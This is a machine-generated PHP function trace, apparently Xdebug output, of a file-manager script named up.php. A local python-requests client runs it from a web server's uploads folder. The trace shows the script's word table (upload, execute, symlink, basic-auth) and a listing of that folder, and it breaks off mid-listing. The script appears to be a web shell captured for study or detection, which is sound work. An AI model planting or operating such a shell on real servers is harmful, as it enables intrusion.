2	39	0	0.003176	789096	array_key_exists	0		/var/www/html/uploads/up.php	240	2	'HTTP_ACCEPT_LANGUAGE'	['HTTP_HOST' => 'localhost', 'HTTP_USER_AGENT' => 'python-requests/2.25.1', 'HTTP_ACCEPT_ENCODING' => 'gzip, deflate', 'HTTP_ACCEPT' => '*/*', 'HTTP_CONNECTION' => 'keep-alive', 'PATH' => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin', 'SERVER_SIGNATURE' => '<address>Apache/2.4.52 (Ubuntu) Server at localhost Port 80</address>\n', 'SERVER_SOFTWARE' => 'Apache/2.4.52 (Ubuntu)', 'SERVER_NAME' => 'localhost', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'REMOTE_ADDR' => '127.0.0.1', 'DOCUMENT_ROOT' => '/var/www/html', 'REQUEST_SCHEME' => 'http', 'CONTEXT_PREFIX' => '', 'CONTEXT_DOCUMENT_ROOT' => '/var/www/html', 'SERVER_ADMIN' => 'webmaster@localhost', 'SCRIPT_FILENAME' => '/var/www/html/uploads/up.php', 'REMOTE_PORT' => '54174', 'GATEWAY_INTERFACE' => 'CGI/1.1', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'REQUEST_METHOD' => 'GET', 'QUERY_STRING' => '', 'REQUEST_URI' => '/uploads/up.php', 'SCRIPT_NAME' => '/uploads/up.php', 'PHP_SELF' => '/uploads/up.php', 'REQUEST_TIME_FLOAT' => 1676252825.284, 'REQUEST_TIME' => 1676252825]
2	39	1	0.003230	789160
2	39	R			FALSE
1		A						/var/www/html/uploads/up.php	243	$lang = 'en'
2	40	0	0.003254	789096	getwords	1		/var/www/html/uploads/up.php	247	1	'en'
2		A						/var/www/html/uploads/up.php	2400	$date_format = 'n/j/y H:i:s'
2		A						/var/www/html/uploads/up.php	2401	$word_charset = 'ISO-8859-1'
2	40	1	0.003290	789144
2	40	R			['directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => 'These files have been deleted:\n[%1]', 'not_deleted' => 'These files could not be deleted:\n[%1]', 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => 'These files have been moved to "[%2]":\n[%1]', 'not_moved' => 'These files could not be moved to "[%2]":\n[%1]', 'copy_files' => 'Copy these files:', 'copied' => 'These files have been copied to "[%2]":\n[%1]', 'not_copied' => 'These files could not be copied to "[%2]":\n[%1]', 'not_edited' => '"[%1]" can not be edited.', 'executed' => '"[%1]" has been executed successfully:\n{%2}', 'not_executed' => '"[%1]" could not be executed successfully:\n{%2}', 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.']
1		A						/var/www/html/uploads/up.php	247	$words = ['directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => 'These files have been deleted:\n[%1]', 'not_deleted' => 'These files could not be deleted:\n[%1]', 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => 'These files have been moved to "[%2]":\n[%1]', 'not_moved' => 'These files could not be moved to "[%2]":\n[%1]', 'copy_files' => 'Copy these files:', 'copied' => 'These files have been copied to "[%2]":\n[%1]', 'not_copied' => 'These files could not be copied to "[%2]":\n[%1]', 'not_edited' => '"[%1]" can not be edited.', 'executed' => '"[%1]" has been executed successfully:\n{%2}', 'not_executed' => '"[%1]" could not be executed successfully:\n{%2}', 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.']
1		A						/var/www/html/uploads/up.php	250	$site_charset = 'ISO-8859-1'
1		A						/var/www/html/uploads/up.php	253	$cols = 7
2	41	0	0.003483	789144	function_exists	0		/var/www/html/uploads/up.php	256	1	'umask'
2	41	1	0.003497	789184
2	41	R			TRUE
2	42	0	0.003510	789144	umask	0		/var/www/html/uploads/up.php	256	0
2	42	1	0.003522	789144
2	42	R			18
1		A						/var/www/html/uploads/up.php	256	$dirpermission = 493
2	43	0	0.003546	789144	function_exists	0		/var/www/html/uploads/up.php	259	1	'umask'
2	43	1	0.003559	789184
2	43	R			TRUE
2	44	0	0.003572	789144	umask	0		/var/www/html/uploads/up.php	259	0
2	44	1	0.003583	789144
2	44	R			18
1		A						/var/www/html/uploads/up.php	259	$filepermission = 420
2	45	0	0.003607	789144	basename	0		/var/www/html/uploads/up.php	263	1	'/uploads/up.php'
2	45	1	0.003621	789208
2	45	R			'up.php'
2	46	0	0.003635	789176	html	1		/var/www/html/uploads/up.php	263	1	'up.php'
3	47	0	0.003647	789200	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'up.php'	2	'ISO-8859-1'
3	47	1	0.003663	789472
3	47	R			'up.php'
2	46	1	0.003677	789360
2	46	R			'up.php'
1		A						/var/www/html/uploads/up.php	263	$self = 'up.php'
2	48	0	0.003701	789328	substr	0		/var/www/html/uploads/up.php	271	3	'Apache/2.4.52 (Ubuntu)'	0	6
2	48	1	0.003715	789456
2	48	R			'Apache'
2	49	0	0.003729	789360	strtolower	0		/var/www/html/uploads/up.php	271	1	'Apache'
2	49	1	0.003742	789424
2	49	R			'apache'
1		A						/var/www/html/uploads/up.php	272	$apache = TRUE
2	50	0	0.003766	789328	listing_page	1		/var/www/html/uploads/up.php	837	1	???
3	51	0	0.003778	789424	html_header	1		/var/www/html/uploads/up.php	1179	0
3	51	1	0.003792	789424
3	52	0	0.003799	789424	getlist	1		/var/www/html/uploads/up.php	1181	1	'/var/www/html/uploads/'
4	53	0	0.003812	789424	opendir	0		/var/www/html/uploads/up.php	846	1	'/var/www/html/uploads/'
4	53	1	0.003831	789816
4	53	R			resource(4) of type (stream)
3		A						/var/www/html/uploads/up.php	846	$d = resource(4) of type (stream)
4	54	0	0.003858	789784	readdir	0		/var/www/html/uploads/up.php	848	1	resource(4) of type (stream)
4	54	1	0.003879	789856
4	54	R			'..'
3		A						/var/www/html/uploads/up.php	848	$filename = '..'
3		A						/var/www/html/uploads/up.php	850	$path = '/var/www/html/uploads/..'
4	55	0	0.003914	789872	lstat	0		/var/www/html/uploads/up.php	852	1	'/var/www/html/uploads/..'
4	55	1	0.003929	791696
4	55	R			[0 => 2049, 1 => 524470, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524470, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
3		A						/var/www/html/uploads/up.php	852	$stat = [0 => 2049, 1 => 524470, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524470, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
4	56	0	0.003991	792352	is_file	0		/var/www/html/uploads/up.php	857	1	'/var/www/html/uploads/..'
4	56	1	0.004005	792400
4	56	R			FALSE
4	57	0	0.004019	792360	is_dir	0		/var/www/html/uploads/up.php	858	1	'/var/www/html/uploads/..'
4	57	1	0.004031	792400
4	57	R			TRUE
4	58	0	0.004044	792360	is_link	0		/var/www/html/uploads/up.php	859	1	'/var/www/html/uploads/..'
4	58	1	0.004056	792400
4	58	R			FALSE
4	59	0	0.004069	792360	is_readable	0		/var/www/html/uploads/up.php	860	1	'/var/www/html/uploads/..'
4	59	1	0.004084	792400
4	59	R			TRUE
4	60	0	0.004096	792360	is_writable	0		/var/www/html/uploads/up.php	861	1	'/var/www/html/uploads/..'
4	60	1	0.004111	792400
4	60	R			TRUE
4	61	0	0.004124	792360	filemtime	0		/var/www/html/uploads/up.php	866	1	'/var/www/html/uploads/..'
4	61	1	0.004136	792400
4	61	R			1676252825
4	62	0	0.004149	792360	fileatime	0		/var/www/html/uploads/up.php	867	1	'/var/www/html/uploads/..'
4	62	1	0.004161	792400
4	62	R			1676252825
4	63	0	0.004174	792360	filectime	0		/var/www/html/uploads/up.php	868	1	'/var/www/html/uploads/..'
4	63	1	0.004185	792400
4	63	R			1676252825
3		A						/var/www/html/uploads/up.php	868	$file = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825]
4	64	0	0.004228	792416	file_exists	0		/var/www/html/uploads/up.php	872	1	'/var/www/html/uploads/../.'
4	64	1	0.004243	792456
4	64	R			TRUE
3		A						/var/www/html/uploads/up.php	872	$file['is_executable'] = TRUE
4	65	0	0.004269	792360	function_exists	0		/var/www/html/uploads/up.php	883	1	'posix_getpwuid'
4	65	1	0.004283	792400
4	65	R			TRUE
4	66	0	0.004296	792360	posix_getpwuid	0		/var/www/html/uploads/up.php	883	1	0
4	66	1	0.004325	793160
4	66	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	67	0	0.004349	793128	reset	0		/var/www/html/uploads/up.php	883	1	['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	67	1	0.004369	793536
4	67	R			'root'
3		A						/var/www/html/uploads/up.php	883	$file['owner_name'] = 'root'
4	68	0	0.004395	792392	function_exists	0		/var/www/html/uploads/up.php	884	1	'posix_getgrgid'
4	68	1	0.004408	792432
4	68	R			TRUE
4	69	0	0.004421	792392	posix_getgrgid	0		/var/www/html/uploads/up.php	884	1	0
4	69	1	0.004445	793048
4	69	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	70	0	0.004465	793016	reset	0		/var/www/html/uploads/up.php	884	1	['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	70	1	0.004482	793424
4	70	R			'root'
3		A						/var/www/html/uploads/up.php	884	$file['group_name'] = 'root'
3		A						/var/www/html/uploads/up.php	886	$files[] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	71	0	0.004536	793440	readdir	0		/var/www/html/uploads/up.php	848	1	resource(4) of type (stream)
4	71	1	0.004550	793512
4	71	R			'up.php'
3		A						/var/www/html/uploads/up.php	848	$filename = 'up.php'
3		A						/var/www/html/uploads/up.php	850	$path = '/var/www/html/uploads/up.php'
4	72	0	0.004586	793528	lstat	0		/var/www/html/uploads/up.php	852	1	'/var/www/html/uploads/up.php'
4	72	1	0.004601	795320
4	72	R			[0 => 2049, 1 => 524475, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 80504, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 160, 'dev' => 2049, 'ino' => 524475, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 80504, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 160]
3		A						/var/www/html/uploads/up.php	852	$stat = [0 => 2049, 1 => 524475, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 80504, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 160, 'dev' => 2049, 'ino' => 524475, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 80504, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 160]
4	73	0	0.004664	794224	is_file	0		/var/www/html/uploads/up.php	857	1	'/var/www/html/uploads/up.php'
4	73	1	0.004678	794264
4	73	R			TRUE
4	74	0	0.004691	794224	is_dir	0		/var/www/html/uploads/up.php	858	1	'/var/www/html/uploads/up.php'
4	74	1	0.004703	794264
4	74	R			FALSE
4	75	0	0.004716	794224	is_link	0		/var/www/html/uploads/up.php	859	1	'/var/www/html/uploads/up.php'
4	75	1	0.004728	794264
4	75	R			FALSE
4	76	0	0.004741	794224	is_readable	0		/var/www/html/uploads/up.php	860	1	'/var/www/html/uploads/up.php'
4	76	1	0.004754	794264
4	76	R			TRUE
4	77	0	0.004768	794224	is_writable	0		/var/www/html/uploads/up.php	861	1	'/var/www/html/uploads/up.php'
4	77	1	0.004782	794264
4	77	R			FALSE
4	78	0	0.004795	794224	filemtime	0		/var/www/html/uploads/up.php	866	1	'/var/www/html/uploads/up.php'
4	78	1	0.004807	794264
4	78	R			1676252825
4	79	0	0.004819	794224	fileatime	0		/var/www/html/uploads/up.php	867	1	'/var/www/html/uploads/up.php'
4	79	1	0.004831	794264
4	79	R			1676252825
4	80	0	0.004863	794224	filectime	0		/var/www/html/uploads/up.php	868	1	'/var/www/html/uploads/up.php'
4	80	1	0.004876	794264
4	80	R			1676252825
3		A						/var/www/html/uploads/up.php	868	$file = ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825]
4	81	0	0.004916	794224	is_executable	0		/var/www/html/uploads/up.php	875	1	'/var/www/html/uploads/up.php'
4	81	1	0.004931	794264
4	81	R			FALSE
3		A						/var/www/html/uploads/up.php	875	$file['is_executable'] = FALSE
4	82	0	0.004957	794224	function_exists	0		/var/www/html/uploads/up.php	883	1	'posix_getpwuid'
4	82	1	0.004971	794264
4	82	R			TRUE
4	83	0	0.004988	794224	posix_getpwuid	0		/var/www/html/uploads/up.php	883	1	1000
4	83	1	0.005020	795040
4	83	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4	84	0	0.005045	795008	reset	0		/var/www/html/uploads/up.php	883	1	['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4	84	1	0.005065	795416
4	84	R			'osboxes'
3		A						/var/www/html/uploads/up.php	883	$file['owner_name'] = 'osboxes'
4	85	0	0.005091	794256	function_exists	0		/var/www/html/uploads/up.php	884	1	'posix_getgrgid'
4	85	1	0.005105	794296
4	85	R			TRUE
4	86	0	0.005118	794256	posix_getgrgid	0		/var/www/html/uploads/up.php	884	1	1000
4	86	1	0.005149	794912
4	86	R			['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4	87	0	0.005169	794880	reset	0		/var/www/html/uploads/up.php	884	1	['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4	87	1	0.005186	795288
4	87	R			'osboxes'
3		A						/var/www/html/uploads/up.php	884	$file['group_name'] = 'osboxes'
3		A						/var/www/html/uploads/up.php	886	$files[] = ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4	88	0	0.005240	794928	readdir	0		/var/www/html/uploads/up.php	848	1	resource(4) of type (stream)
4	88	1	0.005254	795000
4	88	R			'.'
3		A						/var/www/html/uploads/up.php	848	$filename = '.'
3		A						/var/www/html/uploads/up.php	850	$path = '/var/www/html/uploads/.'
4	89	0	0.005288	795008	lstat	0		/var/www/html/uploads/up.php	852	1	'/var/www/html/uploads/.'
4	89	1	0.005304	796792
4	89	R			[0 => 2049, 1 => 524471, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524471, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
3		A						/var/www/html/uploads/up.php	852	$stat = [0 => 2049, 1 => 524471, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524471, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
4	90	0	0.005364	795696	is_file	0		/var/www/html/uploads/up.php	857	1	'/var/www/html/uploads/.'
4	90	1	0.005379	795728
4	90	R			FALSE
4	91	0	0.005392	795688	is_dir	0		/var/www/html/uploads/up.php	858	1	'/var/www/html/uploads/.'
4	91	1	0.005404	795728
4	91	R			TRUE
4	92	0	0.005416	795688	is_link	0		/var/www/html/uploads/up.php	859	1	'/var/www/html/uploads/.'
4	92	1	0.005428	795728
4	92	R			FALSE
4	93	0	0.005441	795688	is_readable	0		/var/www/html/uploads/up.php	860	1	'/var/www/html/uploads/.'
4	93	1	0.005455	795728
4	93	R			TRUE
4	94	0	0.005468	795688	is_writable	0		/var/www/html/uploads/up.php	861	1	'/var/www/html/uploads/.'
4	94	1	0.005481	795728
4	94	R			TRUE
4	95	0	0.005494	795688	filemtime	0		/var/www/html/uploads/up.php	866	1	'/var/www/html/uploads/.'
4	95	1	0.005505	795728
4	95	R			1676252825
4	96	0	0.005519	795688	fileatime	0		/var/www/html/uploads/up.php	867	1	'/var/www/html/uploads/.'
4	96	1	0.005530	795728
4	96	R			1676252825
4	97	0	0.005543	795688	filectime	0		/var/www/html/uploads/up.php	868	1	'/var/www/html/uploads/.'
4	97	1	0.005555	795728
4	97	R			1676252825
3		A						/var/www/html/uploads/up.php	868	$file = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825]
4	98	0	0.005594	795744	file_exists	0		/var/www/html/uploads/up.php	872	1	'/var/www/html/uploads/./.'
4	98	1	0.005608	795784
4	98	R			TRUE
3		A						/var/www/html/uploads/up.php	872	$file['is_executable'] = TRUE
4	99	0	0.005634	795688	function_exists	0		/var/www/html/uploads/up.php	883	1	'posix_getpwuid'
4	99	1	0.005647	795728
4	99	R			TRUE
4	100	0	0.005660	795688	posix_getpwuid	0		/var/www/html/uploads/up.php	883	1	0
4	100	1	0.005682	796488
4	100	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	101	0	0.005706	796456	reset	0		/var/www/html/uploads/up.php	883	1	['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	101	1	0.005725	796864
4	101	R			'root'
3		A						/var/www/html/uploads/up.php	883	$file['owner_name'] = 'root'
4	102	0	0.005754	795720	function_exists	0		/var/www/html/uploads/up.php	884	1	'posix_getgrgid'
4	102	1	0.005768	795760
4	102	R			TRUE
4	103	0	0.005781	795720	posix_getgrgid	0		/var/www/html/uploads/up.php	884	1	0
4	103	1	0.005803	796376
4	103	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	104	0	0.005824	796344	reset	0		/var/www/html/uploads/up.php	884	1	['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	104	1	0.005840	796752
4	104	R			'root'
3		A						/var/www/html/uploads/up.php	884	$file['group_name'] = 'root'
3		A						/var/www/html/uploads/up.php	886	$files[] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	105	0	0.005894	796392	readdir	0		/var/www/html/uploads/up.php	848	1	resource(4) of type (stream)
4	105	1	0.005908	796472
4	105	R			'prepend.php'
3		A						/var/www/html/uploads/up.php	848	$filename = 'prepend.php'
3		A						/var/www/html/uploads/up.php	850	$path = '/var/www/html/uploads/prepend.php'
4	106	0	0.005944	796496	lstat	0		/var/www/html/uploads/up.php	852	1	'/var/www/html/uploads/prepend.php'
4	106	1	0.005961	798304
4	106	R			[0 => 2049, 1 => 524474, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
3		A						/var/www/html/uploads/up.php	852	$stat = [0 => 2049, 1 => 524474, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
4	107	0	0.006023	797208	is_file	0		/var/www/html/uploads/up.php	857	1	'/var/www/html/uploads/prepend.php'
4	107	1	0.006038	797264
4	107	R			TRUE
4	108	0	0.006051	797224	is_dir	0		/var/www/html/uploads/up.php	858	1	'/var/www/html/uploads/prepend.php'
4	108	1	0.006063	797264
4	108	R			FALSE
4	109	0	0.006076	797224	is_link	0		/var/www/html/uploads/up.php	859	1	'/var/www/html/uploads/prepend.php'
4	109	1	0.006089	797264
4	109	R			FALSE
4	110	0	0.006101	797224	is_readable	0		/var/www/html/uploads/up.php	860	1	'/var/www/html/uploads/prepend.php'
4	110	1	0.006117	797264
4	110	R			TRUE
4	111	0	0.006130	797224	is_writable	0		/var/www/html/uploads/up.php	861	1	'/var/www/html/uploads/prepend.php'
4	111	1	0.006146	797264
4	111	R			FALSE
4	112	0	0.006159	797224	filemtime	0		/var/www/html/uploads/up.php	866	1	'/var/www/html/uploads/prepend.php'
4	112	1	0.006173	797264
4	112	R			1676252825
4	113	0	0.006186	797224	fileatime	0		/var/www/html/uploads/up.php	867	1	'/var/www/html/uploads/prepend.php'
4	113	1	0.006199	797264
4	113	R			1676252825
4	114	0	0.006212	797224	filectime	0		/var/www/html/uploads/up.php	868	1	'/var/www/html/uploads/prepend.php'
4	114	1	0.006225	797264
4	114	R			1676252825
3		A						/var/www/html/uploads/up.php	868	$file = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825]
4	115	0	0.006264	797224	is_executable	0		/var/www/html/uploads/up.php	875	1	'/var/www/html/uploads/prepend.php'
4	115	1	0.006279	797264
4	115	R			TRUE
3		A						/var/www/html/uploads/up.php	875	$file['is_executable'] = TRUE
4	116	0	0.006305	797224	function_exists	0		/var/www/html/uploads/up.php	883	1	'posix_getpwuid'
4	116	1	0.006318	797264
4	116	R			TRUE
4	117	0	0.006331	797224	posix_getpwuid	0		/var/www/html/uploads/up.php	883	1	0
4	117	1	0.006353	798024
4	117	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	118	0	0.006377	797992	reset	0		/var/www/html/uploads/up.php	883	1	['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	118	1	0.006396	798400
4	118	R			'root'
3		A						/var/www/html/uploads/up.php	883	$file['owner_name'] = 'root'
4	119	0	0.006422	797256	function_exists	0		/var/www/html/uploads/up.php	884	1	'posix_getgrgid'
4	119	1	0.006435	797296
4	119	R			TRUE
4	120	0	0.006448	797256	posix_getgrgid	0		/var/www/html/uploads/up.php	884	1	0
4	120	1	0.006470	797912
4	120	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	121	0	0.006491	797880	reset	0		/var/www/html/uploads/up.php	884	1	['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	121	1	0.006512	798288
4	121	R			'root'
3		A						/var/www/html/uploads/up.php	884	$file['group_name'] = 'root'
3		A						/var/www/html/uploads/up.php	886	$files[] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	122	0	0.006565	797928	readdir	0		/var/www/html/uploads/up.php	848	1	resource(4) of type (stream)
4	122	1	0.006579	798000
4	122	R			'data'
3		A						/var/www/html/uploads/up.php	848	$filename = 'data'
3		A						/var/www/html/uploads/up.php	850	$path = '/var/www/html/uploads/data'
